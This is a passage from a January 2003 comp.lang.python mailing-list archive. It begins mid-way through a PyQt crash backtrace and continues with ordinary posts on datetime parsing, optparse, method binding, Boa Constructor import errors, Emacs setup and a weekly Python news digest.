locals=0x0, args=0x81e2d78, argcount=1, kws=0x0, kwcount=0, 
 defs=0x0, defcount=0, closure=0x0) at Python/ceval.c:2595 
#33 0x080e30df in function_call (func=0x870f34c, arg=0x81e2d64, kw=0x0) at 
Objects/funcobject.c:374 
#34 0x080cdd9b in PyObject_Call (func=0x870f34c, arg=0x81e2d64, kw=0x0) at 
Objects/abstract.c:1688 
#35 0x080d6f80 in instancemethod_call (func=0x870f34c, arg=0x81e2d64, kw=0x0) 
at Objects/classobject.c:2292 
#36 0x080cdd9b in PyObject_Call (func=0x8582af4, arg=0x81e2d64, kw=0x0) at 
Objects/abstract.c:1688 
#37 0x0808ea7b in PyEval_CallObjectWithKeywords (func=0x8582af4, 
arg=0x81e2d64, kw=0x0) at Python/ceval.c:3058 
#38 0x40023ecb in sipEvalMethod (pm=0x8734788, args=0x81e2d64) at 
siplib.c:2898 
#39 0x414a85a4 in sipQThread::sipVH_run(sipMethodCache const*, _sipThisType*) 
() 
 from /usr/local/lib/python2.2/site-packages/libqtcmodule.so 
#40 0x414a8553 in sipQThread::run() () from 
/usr/local/lib/python2.2/site-packages/libqtcmodule.so 
#41 0x40517726 in QThreadPrivate::start(QThread*) (thread=0x8734778) at 
kernel/qthread_unix.cpp:79 
- ---Type <return> to continue, or q <return> to quit--- 
#42 0x4051675b in start_thread (_arg=0x87327a0) at kernel/qthread_unix.cpp:98 
#43 0x40031160 in pthread_start_thread () from /lib/libpthread.so.0 
#44 0x40031262 in pthread_start_thread_event () from /lib/libpthread.so.0 
 
So does anyone have any idea what's wrong or how to fix it? Please email me as 
well if you aren't posting to the PyQt/Python list (kibab at icehouse dot 
net).
 
- --Kaleb 
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+EyxOeAVt8Tl/2kURApe3AJ9Sf5oBy2/+iKN3L5eS5YWsSGwK8ACfQQv8
sUmiu7EUmYRCglp0NkHaM8E=
=sxi1
-----END PGP SIGNATURE-----





From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 18:51:40 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 23:51:40 +0000
Subject: datetime module: iso date *input* needed
References: <20030130181727.5a006f5d.gry@ll.mit.edu>
Message-ID: <6rdj3v0kb3rs06usn1pr4v4f13u59cidc5@4ax.com>

george young <gry at ll.mit.edu> wrote:

>[python 2.3a1, linux]
>I'm using the 2.3a datetime module.  The datetime.isoformat() works nicely:
>  >>> import datetime
>  >>> d=datetime.datetime.now()
>  >>> d
>  datetime.datetime(2003, 1, 30, 17, 48, 7, 848769)
>  >> d.isoformat()
>  '2003-01-30T17:48:07.848769'
>
>but now I need a way to make a datetime object from a date in iso format.
>I can't find a function in datetime to do this, e.g. something like:
>  d=datetime.datetime.parse_iso('2003-01-30T17:48:07.848769')
>
>I thought about using the time module strptime function, but it doesn't do
>fractions of a second.  I used to move date/times between python and postgres as
>epoch integers, but I hope to change to a human-readable format for better
>debugging.  
>
>I'm sure I could do this somehow with mx.DateTime, but if the datetime module
>is going to be the new standard, I would like to use it in my new code...
>
>-- George

A bit of a sledgehammer but what about:

>>> import re
>>> t = '2003-01-30T17:48:07.848769'
>>> p = re.compile('[.:T-]')
>>> isobits = [int(s) for s in p.split(t)]
>>> isobits
[2003, 1, 30, 17, 48, 7, 848769]
>>> apply(datetime.datetime, isobits)

I assume this will work but I don't have 2.3a installed so no datetime
module to play with.

--
Dale Strickland-Clark
Riverhall Systems Ltd



From lac at strakt.com  Thu Jan  9 06:59:25 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 09 Jan 2003 12:59:25 +0100
Subject: Python patch analog 
In-Reply-To: Message from Terry Hancock <hancock@anansispaceworks.com> 
   of "Thu, 09 Jan 2003 09:14:17 GMT." <J3bT9.1063$Qr4.115123@newsread1.prod.itd.earthlink.net> 
References: <o31T9.219$Dq.18655@newsread2.prod.itd.earthlink.net> <mailman.1042094227.29342.python-list@python.org> <J3bT9.1063$Qr4.115123@newsread1.prod.itd.earthlink.net> 
Message-ID: <200301091159.h09BxPjL013204@ratthing-b246.strakt.com>

> Laura Creighton wrote:
> > What happens when somebody's computer has a completely wrong idea what
> > time
> > it is?  What happens when daylight savings time happens?  What happens
> > when you share data between users in different time zones? different
> > time zones with different rules for what day we start daylight savings?
> 
> Yeah, I thought of that, but -- the repository object keeps its own time. 
> You just keep track of checkouts and user ids on the server.  I can just 
> encode the checkout time as part of the checkout protocol, so that it stays 
> with the "local copy" that the user receives (as with CVS, we'll need to 
> store some metadata along with the client's "local copy" -- we just keep 
> the checkout identity with this metadata).

That is what we ended up having to do.  And when the server hit DST,
all hell broke loose.  Also, when somebody carefully rebooted the
server to think that it was now the Unix Epoch (Jan 1 1970 00:00:01).
Also when somebody made the date 10 years in the future.

On a more aggrevating note, times on things served by NFS servers
drift a lot.  We have problems with this around here sometimes --
make gets confused -- and periodically SSH certificate validation
goes out the window because somebody is trying to log in 'in the
future'.

> There's another class of events that has to be tracked, which is moderation 
> actions. There's actually more than one kind of checkout that can happen at 
> a given time (sort of like "branches" in CVS?), in that the changes can be 
> made with some pre-existing patches ignored.  In that case, the type of 
> checkout made needs to be in the metadata.  In short -- we need enough 
> information for the repository to reconstruct what the user would've 
> checked out.

I believe, this is known as 'a tricky bit'.  The people who are making
an Open Source python rewriting of Arch may have some ideas you are
interested in.
> 
> Cheers,
> Terry

Laura Creighton





From bokr at oz.net  Sat Jan 25 23:35:13 2003
From: bokr at oz.net (Bengt Richter)
Date: 26 Jan 2003 04:35:13 GMT
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <3E332BDF.25DE97C7@lvcm.com> <b0vfiq$2gi$0@216.39.172.122> <mailman.1043548188.16143.python-list@python.org>
Message-ID: <b0voi1$ss3$0@216.39.172.122>

On Sun, 26 Jan 2003 03:21:59 +0100, Laura Creighton <lac at strakt.com> wrote:

>> >
>> Actually, I think a better measure might be counting distinct posters with a
>> minimum of two posts. This would indicate interest (e.g., dialog or more than
>> one question) more strongly than a single post, IWT. A table including both
>> would be interesting. I agree on time interval vs flat latest count also.
>> I guess you might expect spikes around significant announcements (good or bad
>> )
>> which could skew results from different languages.
>> 
>> Another interesting measure might be the aggregate volume of unquoted text vs
>>  total,
>> and those numbers divided by number of unique posters, for average level of i
>> nterest.
>> 
>> Regards,
>> Bengt Richter
>
>If Bengt Richter spends all day answering questions on
>comp.lang.python, then other people, who would happily have posted if
>Bengt had been sick and couldn't answer, will remain silent because
>Bengt is doing a perfectly adequate job.  The faster Bengt types, the
>lower the volume.
>
>If we want to make the volume in this newsgroup go up, just post something
>that is _wrong_.  Or claim that vi is superior to emacs or vice-versa.
>Or ask people what their favourite <anything> is.  Or write a note
>claiming that Lisp is only used by fools and the mentally unstable and
>make sure that the readers of comp.lang.lisp hear about it. <wink>
>
LOL ;-)

Regards,
Bengt Richter



From johnroth at ameritech.net  Mon Jan 20 21:41:37 2003
From: johnroth at ameritech.net (John Roth)
Date: Mon, 20 Jan 2003 21:41:37 -0500
Subject: PEP 8 and properties
References: <f57664b9.0301191717.2fa584d5@posting.google.com> <v2mlb2s499teb2@news.supernews.com> <f57664b9.0301201645.1f10b82b@posting.google.com>
Message-ID: <v2pcp0eckg7tdd@news.supernews.com>

"Jonathan P." <jbperez808 at yahoo.com> wrote in message
news:f57664b9.0301201645.1f10b82b at posting.google.com...
> "John Roth" <johnroth at ameritech.net> wrote in message
news:<v2mlb2s499teb2 at news.supernews.com>...
> > I think there's some confusion here. The dictum that
> > you don't expose variables comes from the "information
> > hiding" school of thought. A variable is part of the
> > internal implementation of the class, and you should
> > be able to change it freely. A function, on the other
> > hand, is part of an API, and doesn't constrain changes
> > to the implementation nearly as much.
> >
> > Now, if the language includes properties, then the
> > assessment changes, because there is no external
> > difference between variables and properties. You
> > can publish a variable, and then if you want to change
> > the implementation so that the variable doesn't (even
> > conceptually) exist any more, you can make it
> > a property, which lets you slide the accessor functions
> > in under the hood.
>
> In other words, properties let us have our cake and eat
> it too.  But they are flexible enough that you're going
> to have to enforce some strict conventions on their usage
> to avoid possible confusion.  I'm starting to see how
> they can be Pythonic.

I think so. As far as I'm concerned, the difference
is that a variable is something, while a method does
something. I know this isn't as clear a distinction as
I'd like, but then, most things have real fuzzy edges.

John Roth





From cliechti at gmx.net  Thu Jan  2 19:39:32 2003
From: cliechti at gmx.net (Chris Liechti)
Date: 3 Jan 2003 01:39:32 +0100
Subject: ANN: NSIS Python Plugin
Message-ID: <Xns92F8113B4F131cliechtigmxnet@62.2.16.82>

For those who use the Nullsoft installer (NSIS) and know Python...
I have written a small plugin that allows simple execution of Python code 
during the setup.

http://homepage.hispeed.ch/py430/python/index.html

Supported commands are eval, exec and execFile. a special module nsis is 
exposed to Python which supports writing to the log, display a message box 
and get/set the NSIS variables. The win32 parent handle of the installer 
can also be read so its open for extensions that use win32all or ctypes.

yeah. i know you could also "ExecWait 'python x.py'" (on some systems) but 
the plugin is easier and you can write to the log ;-)
It's also a nice thing if you need a very simple GUI, but want to evaluate 
the data with a real programming language.

chris
-- 
Chris <cliechti at gmx.net>




From max at alcyone.com  Mon Jan  6 09:37:41 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 06 Jan 2003 14:37:41 -0000
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Jan  6)
Message-ID: <v1j55l6adp3f68@corp.supernews.com>

QOTW:  "'Too slow' is almost always defined incorrectly. ... Most
developers are wrong about how fast things really need to run."  Peter Hansen

"It's almost impossible to get yourself in trouble using Queue."  Tim Peters   


Discussion
    Thomas Bellman posts PEP 303, suggesting an extension for the
    divmod builtin to allow multiple divisors:
        http://groups.google.com/groups?threadm=3E1522DE.BB4B6FE6%40alcyone.com
        http://www.python.org/peps/pep-0303.html

    Yes, it's another "Which language should I choose?" thread, but
    this one got a lot more breadth than usual:
        http://groups.google.com/groups?threadm=20030102230617.14241.00000512%40mb-cr.news.cs.com

    And again, on the subject of language advocacy, here's an in-depth
    discussion of the differences between Python and Ruby:
        http://groups.google.com/groups?threadm=6e07b825.0301021008.2e080db9%40posting.google.com

    Christos Georgiou provides a list of standard library methods that
    could (or should, he argues) be staticmethods:
        http://groups.google.com/groups?selm=oev51vkp7r29q6vq99t5npbedmh15ck17a%404ax.com

    A long but productive thread about multiple dispatch, an
    alternative way to achieving object oriented methods:
        http://groups.google.com/groups?threadm=mailman.1041707471.8505.python-list%40python.org
        http://www.tpk.net/~ekidd/dylan/multiple-dispatch.html

    Peter Hansen posts an apt comment entitled "Yet Another Thread on
    Python's Speed":
        http://groups.google.com/groups?selm=3E144BFC.399B8510%40engcorp.com

    Bill Scherer offers a succinct but apposite example of SNMP
    access through Python's snmpget module.
	http://groups.google.com/groups?frame=left&th=2991a2e147b839a0


Software
    Guido van Rossum announces Python 2.3a1, the first alpha release
    of Python 2.3:
        http://www.python.org/2.3/

    Custom is an e-commerce solution for small- to medium-sized 
    businesses:
        http://custom.sourceforge.net/

    cdecl.py understands C declarations as found in header files; the
    latest version comprehends GNU extensions found in gcc standard
    header files:
        http://arrowtheory.com/software/python/index.html

    Detlev Offenbach brings eric, a full featured Python IDE using PyQt
    and QScintilla, to release 3.0.1:
        http://www.die-offenbachs.de/detlev/eric3.html

    tclpython, a package which supports the execution of Python code
    from within a Tcl interpreter, hits a 3.0 milestone:
        http://jfontain.free.fr/tclpython.htm

    pyCMS is a Python module that provides ICC color management, using
    PIL:
        http://www.cazabon.com/pyCMS/

    ReportLab Toolkit version 1.17, a suite which helps generate
    platform-independent PDFs and graphics, has been released:
        http://www.reportlab.com/download.html


Resources
    The development version of the documentation has been updated for
    Python 2.3's alpha releases:
        http://www.python.org/dev/doc/devel/

    Uche Ogbuji has written a tutorial for developing Python/XML with
    4Suite (free registration required through IBM's Web site):
        https://www6.software.ibm.com/reg/devworks/dw-x4suite5-i/

    A.M. Kuchling announces the checkin of Richard Jones' PEP 301
    (package index and metadata for distutils) implementation, for
    those who wish to play with the code in CVS:
        http://groups.google.com/groups?dq=&selm=slrnb1bdqp.l3t.akuchlin%40ute.mems-exchange.org
        http://www.python.org/peps/pep-0301.html


Meetings
    UC Santa Cruz offers a "Python Programming" course from 2003
    January 6 through March 17, Monday nights:
        http://artemis.ucsc-extension.edu/~wesc/013e44cd.htm


========================================================================

Everything you want is probably one or two clicks away in these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newly-revitalized newsgroup at least weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of summarizing action on the
    python-dev mailing list once every other week.
	http://www.python.org/dev/summary/
    Partial archives are at
        http://starship.python.net/crew/mwh/summaries/
        http://www.amk.ca/python/dev

    The Vaults of Parnassus ambitiously collect Python resources
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    The Python Software Foundation has replaced the Python Consortium
    as an independent nexus of activity
        http://www.python.org/psf/

    Cetus does much of the same
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Tenth International Python Conference 
        http://www.python10.org            

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.




From sasoft at gmx.de  Wed Jan  1 12:53:06 2003
From: sasoft at gmx.de (Stefan A.)
Date: Wed, 1 Jan 2003 17:53:06 +0000
Subject: trying to run boa: problem with stc.py / stc_.py / stc_c.py
Message-ID: <20030101175305.GA2427@blackscarab>

first of all:

wxWindows : 2.4.0
wxPython  : 2.3.4.2
Python    : 2.3a0


I downloaded Boa from CVS and the zipfile from Sourceforge as well. Both
have the same problem, when i do:

$> python Boa.py


### Error-Log ###

tarting Boa Constructor v0.1.4
importing wxPython



""" NOT IMPORTANT, Mozilla and other apps, have the same warning, but
this doesn't affect functionality """

Gtk-WARNING **: Unable to locate image file in pixmap_path:
"textures/DefaultGrad.xpm" line 176

Gtk-WARNING **: Unable to locate image file in pixmap_path:
"textures/DefaultGrad.xpm" line 178

Gtk-WARNING **: Unable to locate image file in pixmap_path:
"textures/DefaultGrad.xpm" line 179

Gtk-WARNING **: Unable to locate image file in pixmap_path:
"textures/DefaultGrad.xpm" line 204
""" NOT IMPORTANT """



""" Here's the real error: """

reading user preferences
Traceback (most recent call last):
File "Boa.py", line 184, in ?
import Preferences, About, Utils
File "Preferences.py", line 110, in ?
execfile(file)
File "/home/cruciatuz/.boa/prefs.rc.py", line 315, in ?
from wxPython.stc import wxSTC_WS_INVISIBLE,
wxSTC_WS_VISIBLEALWAYS, wxSTC_WS_VISIBLEAFTERINDENT
File
"/usr/local/lib/python2.3/site-packages/wxPython/stc.py",
line 7, in ?
from stc_ import *
File
"/usr/local/lib/python2.3/site-packages/wxPython/stc_.py",
line 2, in ?
import stc_c
ImportError: No module named stc_c

### EOF ###


I am not able to find out what stc_c is. I know about stc_.py and stc.py
(the stc.py is just a wrapper for stc_.py, but in stc_.py is this stc_c
is called, but i can't find it anywhere).
I played with commenting out things in my prefs.rc.py and i renamed
things in the stc* 's, but i just can't find out what's wrong(?)



--
Many thx in advance and a happy new year to everybody,
Stefan




From dialtone/#NOSPAM#\ at aruba.it  Sun Jan  5 20:13:32 2003
From: dialtone/#NOSPAM#\ at aruba.it (Dialtone)
Date: Mon, 06 Jan 2003 02:13:32 +0100
Subject: Emacs and ELSE
References: <8f3f1v4pouvu72cavbntms6elg6grtsrkd@4ax.com> <mailman.1041769390.15953.python-list@python.org> <X%%R9.6$YG2.174@nnrp1.ozemail.com.au>
Message-ID: <bklh1v0tn8lp3ruvl8d1oa7kvtcjsmhf8h@4ax.com>

On Mon, 6 Jan 2003 06:51:23 +1100, "Peter Milliken"
<peterm at resmed.com.au> wrote:

>Hope this helps and adds constructively to Andrew's explanation - good luck
>:-)

Well... so and so... when I open a .py file I get 2 new menus: Python
and IM-Python. The last one only has 1 option which is *Rescan*.

I cannot even get it to automatically highlight my .py file (I can
highlight it only tickin "In this buffer" in "Options" menu...

I tried M-x else-mode but I get a [No match]

I guess this is because I don't have a real home directory (like in
linux) and because XEmacs win version doesn't use .emacs file as
default, actually it doesn't even have a conf file (as I have seen)
unless you rename sample.emacs into .emacs (but as you can imagine,
that file is huge and doesn't really fit my preferences...

I managed to find a lot of help files for linux that talked about home
directory and so on but nothing really useful for the windows version
(which in fact is a bit different...)

Have I been clear enough?

Thx for your help... I really look forward using ELSE mode... as you
saw it's one of the 2 reasons I tried emacs :)
-- 
try: troll = "Brain"
except TypeError, data: 
   troll.plonk()
Co-Responsabile Hardware Information & Technology http://hit.edengames.net



From lac at strakt.com  Fri Jan 24 06:47:58 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 24 Jan 2003 12:47:58 +0100
Subject: Python use growing or shrinking 
In-Reply-To: Message from Erik Max Francis <max@alcyone.com> 
   of "Fri, 24 Jan 2003 03:07:00 PST." <3E311E54.B692895E@alcyone.com> 
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2F9732.795D5FD3@alcyone.com> <fRWX9.8372$Sv3.804461@newsread1.prod.itd.earthlink.net> <3E308B05.913B1180@alcyone.com> <M87Y9.355$U27.35796@newsread2.prod.itd.earthlink.net> <3E311E54.B692895E@alcyone.com> 
Message-ID: <200301241147.h0OBlwjL027252@ratthing-b246.strakt.com>

> Terry Hancock wrote:
> 
> > Yeah, maybe I should've mentioned that -- one might try to think of
> > these
> > numbers as being percentages of "all software development pages", but
> > of
> > course, they're not. It's just a percentage of the pages listed.  It
> > might
> > make more sense to scale relative to one representative member. But
> > which
> > one?
> 
> It's a good question.  Perhaps the arithmetic mean, geometric mean, or
> even the median of all of them.  Perhaps even the results of the top
> ranker, and then everything is represented as a percentile of the front
> (again, not percentage of the total, but percentage of the front
> runner).  The latter has the benefit of being totally impervious to the
> addition of new elements (unless, of course, when added they rank first
> :-).
> 

This is not the sort of question that lends itself to finding a
'representative number'.  Web pages do not happen according to any
natural distribution, thus they are 100% convenience sampling.  See:
http://groups.google.com/groups?q=probability+group:comp.lang.python+author:Laura&hl=en&lr=&ie=UTF-8&oe=UTF-8&selm=mailman.989501536.31814.python-list%40python.org&rnum=1

for the last time I d?scussed this here ....

Laura Creighton




From max at alcyone.com  Thu Jan  9 19:02:07 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 09 Jan 2003 16:02:07 -0800
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <yyy1y3m4c6d.fsf@adams.patriot.net> <RSjT9.38030$1c.26589@nwrddc01.gnilink.net> <yyyk7he2j81.fsf@adams.patriot.net>
Message-ID: <3E1E0D7F.652E0FB6@alcyone.com>

Nick Vargish wrote:

> I believe your irony detector is yielding false positives.

Yeah, I'd have to agree.  His subsequent response suggests that either
he's laying it on _really_ thick or he's not being deliberately ironic.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The great floodgates of the wonder-world swung open.
\__/ Herman Melville
    CatCam / http://www.catcam.com/
 What do your pets do all day while you're at work?  Find out.



From Mongryong at sympatico.ca  Sun Jan 26 12:26:14 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 26 Jan 2003 12:26:14 -0500
Subject: xlistdir -- an iterator version of os.listdir
In-Reply-To: <20030126165938.GA6257@pedos.es>
References: <20030126051723.20234.qmail@admin.jdiworks.net>
	<1043595307.1384.0.camel@refugeeMedia>  <20030126165938.GA6257@pedos.es>
Message-ID: <1043601975.1388.82.camel@refugeeMedia>

If you're directory has many files, say 50,000, and you require to
process all of them, it's probably more efficient to cache 1000 files at
the OS level then it is to have xlistdir.next() perform the OS call
every time (localization principle).  Now, if you only wanted to process
all the ".txt" files, you don't want your cache filled with files you
don't need.  This is really just an extra feature for optimization
tweaking.  In all likelihood, the optimization gains is probably not
significant.

Thanks for xlistdir!

On Sun, 2003-01-26 at 11:59, Grzegorz Adam Hankiewicz wrote:
> > On Sun, 2003-01-26 at 00:17, Terrel Shumway wrote:
> > > xlistdir.xlistdir is an iterator version of os.listdir.
> >
> On Sun, Jan 26, 2003 at 10:35:06AM -0500, Mongryong wrote:
> > It would also be nice to be able to list files allow with a certain
> > pattern or suffix.
> 
> Well, you could filter yourself with fnmatch, here's a usage example:
> 
> [gregorio at pedos.es:0] [~]$ python
> imporPython 2.2.1 (#1, Apr 21 2002, 08:38:44)
> [GCC 2.95.4 20011002 (Debian prerelease)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> from fnmatch import *
> >>> fnmatch("pepe.txt", "*.txt")
> 1
> >>> fnmatch("pepe.tx", "*.txt")
> 0
> 
> Apply that inside the loop and you have your memory minimal custom glob.
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list






From ianb at colorstudy.com  Sat Jan 25 15:08:26 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 25 Jan 2003 14:08:26 -0600
Subject: Slurping Web Pages
In-Reply-To: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>
References: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>
Message-ID: <1043525305.16308.1275.camel@lothlorien>

On Sat, 2003-01-25 at 12:54, Tony Dunn wrote:
> I've started a new project where I need to slurp web pages from a site that
> use cookies to authenticate access.  I've used *urllib* in the past to grab
> *public* web pages, but I'm not sure the best way to go about dealing with
> the cookie issue.

You may want to try httpsession, which will keep track of your cookies. 
I believe it's at webunit.sf.net -- there's also another module around
for keeping track of cookies while using urllib, but I can't remember
the name of it anymore.  It's probably on Parnassus; but httpsession has
worked well for me in the past.

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From spam-me at no-thanks.com  Sun Jan 26 03:25:52 2003
From: spam-me at no-thanks.com (Aum)
Date: Sun, 26 Jan 2003 21:25:52 +1300
Subject: Replacing methods without subclassing
References: <NNEY9.47306$F63.1019882@news.xtra.co.nz> <l_FY9.1186$Gj3.39@nwrddc02.gnilink.net>
Message-ID: <2_MY9.47989$F63.1032275@news.xtra.co.nz>

Carl Banks wrote:

> Aum wrote:
>> Hi,
>> 
>> I notice that when I replace a method in a class instance, by doing:
>> 
>>        >>>myinstance.methodname = myfunc
>> 
>> the new function gets called *without* the class instance as the first
>> argument.
>> 
>> Is there any way of changing this *without* subclassing?
> 
> I can think of a few options:

<snip>

Thanks all the same, but some kind soul on OPN #python told me a much 
simpler way, which I post for benefit of others looking for similar.


import new
...

def setevhandler(self, func):
        """
        Assigns a new event handler function to the class (or subclass)
        instance. This provides an alternative to subclassing.
        """
        cls = self.__class__
        if type(func) is not types.FunctionType:
                raise MyNotFunctionError
        self.handleevent = new.instancemethod(func, self, cls)


Cheers
A




From rharkins at thinkronize.com  Mon Jan  6 11:35:18 2003
From: rharkins at thinkronize.com (Rich Harkins)
Date: 06 Jan 2003 11:35:18 -0500
Subject: Suggestion: UnixOptionParser class in optparse.py
Message-ID: <1041870924.1064.9.camel@rich-laptop>

I love the OptionParser class.  Good stuff.  The only thing that I would
want different (right now anyway) would be a simple way to parse Unix
style options (first non-option argument terminates options).  My
proposal is to add a tiny subclass in optparse.py that would handle
this:

class UnixOptionParser(OptionParser):
	"""
	Parse options just like OptionParser except disallow 
	interspersed options by default.
	"""

	def __init__(self,*args,**kw):
		OptionParser.__init__(self,*args,**kw)
		self.allow_interspersed_args=0

This would provide the best of both worlds IMO.  I can understand why
some users would like the interspersed args, but it makes it harder to
provide applications consistent with other Unix commands.  I would have
to wrap this separately to provide wrapper programs.  For example,

mydebugger [options] command args...

will fail if args contains any flags.

Anyway, that's my 2 cents for what it's worth.

Rich







From wouterm at spammers-unite-here.com  Wed Jan 15 22:45:04 2003
From: wouterm at spammers-unite-here.com (Wouter van Marle)
Date: Thu, 16 Jan 2003 11:45:04 +0800
Subject: Fileselection window of Gnome/GTK
Message-ID: <b0597d$ltf34@imsp212.netvigator.com>

Hi all!

I have a problem getting the file selection window working. I don't get
signals!

What I have done so far: in glade I created a file selection widget, and
connected the OK and Cancel butten to signal when <clicked>. Then in my
python program I open the file selection widget, and connect the two
signals.
Now this simply does not work - I do not get any signals back to my
application from the file selection window! (and no, nothing about this in
the gtk faq..... :-(() Can someone please explain me how to use this window?

Next problem will be to get the selection and so back from the window. Also
I want to set the search path when the window is opened to be different from
the work dir of my application. Documentation please?!

Btw please don't point at the sources of gtk, I really don't understand C.

Wouter.





From davegaramond at icqmail.com  Wed Jan 22 02:51:02 2003
From: davegaramond at icqmail.com (David Garamond)
Date: Wed, 22 Jan 2003 00:51:02 -0700
Subject: a single class supporting multiple facets/interfaces
References: <3E2BEFAC.2060101@icqmail.com> <20030120224714.GA28746@meson.dyndns.org>
Message-ID: <3E2E4D66.7040104@icqmail.com>

Jp Calderone wrote:
> from twisted.python import components
> 
> class C(components.Componentized):
>     # C class definition omitted for brevity/clarity
>     pass
> 
> class IGoodStuff(components.Interface):
>     def foo(self):
>         """Display some fooey goodness"""
> 
>     def bar(self):
>         """Display some quality bar"""
> 
> 
> class CAdapter(components.Adapter):
>     def foo(self):
>         self.original.foo()
> 
> class VersionOneAdapter(CAdapter):
>     __implements__ = (IGoodStuff,)
> 
>     def bar(self):
>         self.original.bar1()
> 
> class VersionTwoAdapter(CAdapter):
>     __implements__ = (IGoodStuff,)
> 
>     def bar(self):
>         self.original.bar2()
> 
> # Set the adapter to be used for this interface globally
> components.registerAdapter(VersionOneAdapter, C, IGoodStuff)
> c1 = C()
> c1.getComponent(IGoodStuff).bar()
> 
> # Override the global setting for this instance only
> c1.setComponent(IGoodStuff, VersionTwoAdapter(c1))
> c1.getComponent(IGoodStuff).bar()

thanks. yes, actually "interface" and "component" do pretty much what i 
envision. the components module from Twisted looks like it might be 
something cool.

to correct myself and the previous example, the original requirement is 
for a single class (component) C to implement two facets (interfaces). 
let's call the two interfaces IGoodStuff1 and IGoodStuff2.

class IGoodStuff1(components.Interface):
     def foo(self): pass
     def bar1(self): pass
class IGoodStuff2(components.Interface):
     def foo(self): pass
     def bar2(self, arg): pass

and since i don't think i want more than one Adapters for a single 
component-interface link -- in other words: a component never implements 
a single interface twice, differently -- can i do away without adapters 
in this case? i.e.: i want to move the "adapter stuff" (like the 
'__implements__' declaration) directly in C. something like this:

class C(components.Componentized):
     __implements__ = (IGoodStuff1, IGoodStuff2)
     def foo1(self):
         # will implement IGoodStuff1's foo
     def foo2(self):
         # will implement IGoodStuff2's foo
     def bar1(self):
         # will implement IGoodStuff1's bar1
     def bar2(self):
         # will implement IGoodStuff1's bar2

the problem is of course the 'foo' name conflict.

-- 
dave





From ben at wintersun.org  Mon Jan 13 17:31:38 2003
From: ben at wintersun.org (Ben Caradoc-Davies)
Date: Mon, 13 Jan 2003 22:31:38 GMT
Subject: Extracting int from string
References: <avvd1l$ee7$1@news.efn.org>
Message-ID: <slrnb26fhq.142.ben@localhost.localdomain>

On 13 Jan 2003 22:02:29 GMT, Spencer Ernest Doidge <spencer at efn.org> wrote:
> What would be the best way to extract the integer value 45 from the following string?
> 'X=   45   A'

I would use

    int(s.split()[1])

where s is bound to the string.

-- 
Ben Caradoc-Davies <ben at wintersun.org>
http://wintersun.org/
Imprisonment on arrival is the authentic Australian immigration experience.



From nadavh at visionsense.com  Sun Jan 12 02:20:50 2003
From: nadavh at visionsense.com (Nadav Horesh)
Date: Sun, 12 Jan 2003 09:20:50 +0200
Subject: libpython2.2.so
Message-ID: <3E211752.70309@visionsense.com>

>> Hi, how I can get instead of a static library (libpython2.2.a) a shared
>> library (libpython2.2.so). This is because i'm having problems compiling
